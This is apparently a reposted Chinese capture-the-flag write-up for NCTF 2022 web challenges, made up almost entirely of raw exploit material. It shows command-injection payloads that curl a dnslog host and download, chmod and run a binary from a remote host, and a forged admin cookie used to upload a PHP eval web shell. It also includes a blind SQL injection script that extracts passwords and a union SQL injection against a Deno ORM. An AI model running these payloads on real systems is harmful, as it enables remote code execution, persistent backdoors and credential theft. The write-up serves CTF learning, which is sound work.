题目地址：http://116.205.139.166:8001/

@app.route("/calc",methods=['GET'])
def calc():ip = request.remote_addrnum = request.values.get("num")log = "echo {0}{1}{2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)if waf(num):try:data = eval(num)os.system(log)except:passreturn str(data)else:return "waf!!"

def waf(s):blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']flag = Truefor no in blacklist:if no.lower() in s.lower():flag= Falseprint(no)breakreturn flag

/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a

/calc?num=%0a'curl'%09'http://x.x.x.x:yyyy/testapp'%09'-o'%09'/tmp/testapp'%0a
/calc?num=%0a'chmod'%09'777'%09'/tmp/testapp'%0a
/calc?num=%0a'/tmp/testapp'%0a

题目地址：http://81.70.155.160/

<?php
function random($length=4,$chars='abcdefghijklmnopqrstuvwxyz'){$hash='';$max=strlen($chars)-1;for($i=0;$i<$length;$i++){$hash.=$chars[mt_rand(0,$max)];}return $hash;
}
function kecrypt($txt,$key){$key=md5($key);$len=strlen($txt);$ctr=0;$str='';for($i=0;$i<$len;$i++){$ctr=$ctr==32?0:$ctr;$str.=$txt[$i]^$key[$ctr++];}return $str;
}
function encrypt($txt,$key=''){$key or $key='aaa';$rnd=random(32);$len=strlen($txt);$ctr=0;$str='';for($i=0;$i<$len;$i++){$ctr=$ctr==32?0:$ctr;$str.=$rnd[$ctr].($txt[$i]^$rnd[$ctr++]);}return str_replace('=','',base64_encode(kecrypt($str,$key)));
}
echo encrypt('../module/admin/fst_upload');

POST /aya/admin.inc.php HTTP/1.1
Host: 81.70.155.160
Content-Length: 244
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykhsd4wQ8UBmzCnD1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: aya_admin_lang=QWwPIAJ9EitZZEEoQWtYOFA0DCUAMFttV2ANPBUlRmFNKBRmFTEQG1ZxTDFaaVEyQyMWdA
Connection: close
------WebKitFormBoundarykhsd4wQ8UBmzCnD1
Content-Disposition: form-data; name="upfile"; filename="xzxz123123123.php"
Content-Type: application/octet-stream
<?php eval($_REQUEST[1]);phpinfo();?>
------WebKitFormBoundarykhsd4wQ8UBmzCnD1

import requests
import time
flag = ''
i = 1
while True:min = 32max = 127while min < max:time.sleep(0.08)mid = (min + max) // 2print(chr(mid))payload = 'if(ascii 1.e(substring(1.e(select password from users.info),{},1))>{},1,0)'.format(i, mid)url = 'http://162.14.110.241:8099/sql.php?id={}'.format(payload)res = requests.get(url)if 'letian' in res.text:min = mid + 1else:max = midflag += chr(min)i += 1print('found', flag)

题目地址：http://81.70.155.160:3000/     https://nctf.h4ck.fun/static/upload/files/06b43b853452e30514edf6bd709b3f99.zip

import { Application, Router, helpers } from "https://deno.land/x/oak/mod.ts";
import Flight from './db.js';
const app = new Application();
const router = new Router();
router.get('/', async(ctx) => {ctx.response.body = 'check your flight `/flight?id=`';
});
router.get('/flight', async(ctx) => {const id = helpers.getQuery(ctx, { mergeParams: true });const info = await Flight.select({departure: 'departure', destination: 'destination'}).where(id).all();ctx.response.body = info;
});
app.use(router.routes());
app.use(router.allowedMethods());
app.listen({ port: 3000, hostname: '0.0.0.0' });

import { DataTypes, Database, Model, SQLite3Connector} from "https://deno.land/x/denodb@v1.0.40/mod.ts";
const connector = new SQLite3Connector({filepath: '/tmp/flight.db'
});
const db = new Database(connector);
class Flight extends Model {static table = 'flight';static fields = {id: { primaryKey: true, autoIncrement: true },departure: DataTypes.STRING,destination: DataTypes.STRING,};
}
class Flag extends Model {static table = 'flag';static fields = {flag: DataTypes.STRING,};
}
db.link([Flight, Flag]);
await db.sync({ drop: true });
await Flight.create({departure: 'Paris',destination: 'Tokyo',
});
await Flight.create({departure: 'Las Vegas',destination: 'Washington',
});
await Flight.create({departure: 'London',destination: 'San Francisco',
});
await Flag.create({flag: Deno.env.get('flag'),
});
export default Flight

http://81.70.155.160:3000/flight?id=1&?=a` and 0 union select flag,2 from flag;

附件下载：https://github.com/X1cT34m/NCTF2022

转载原文：  https://exp10it.cn/2022/12/nctf-2022-web-writeup/#calc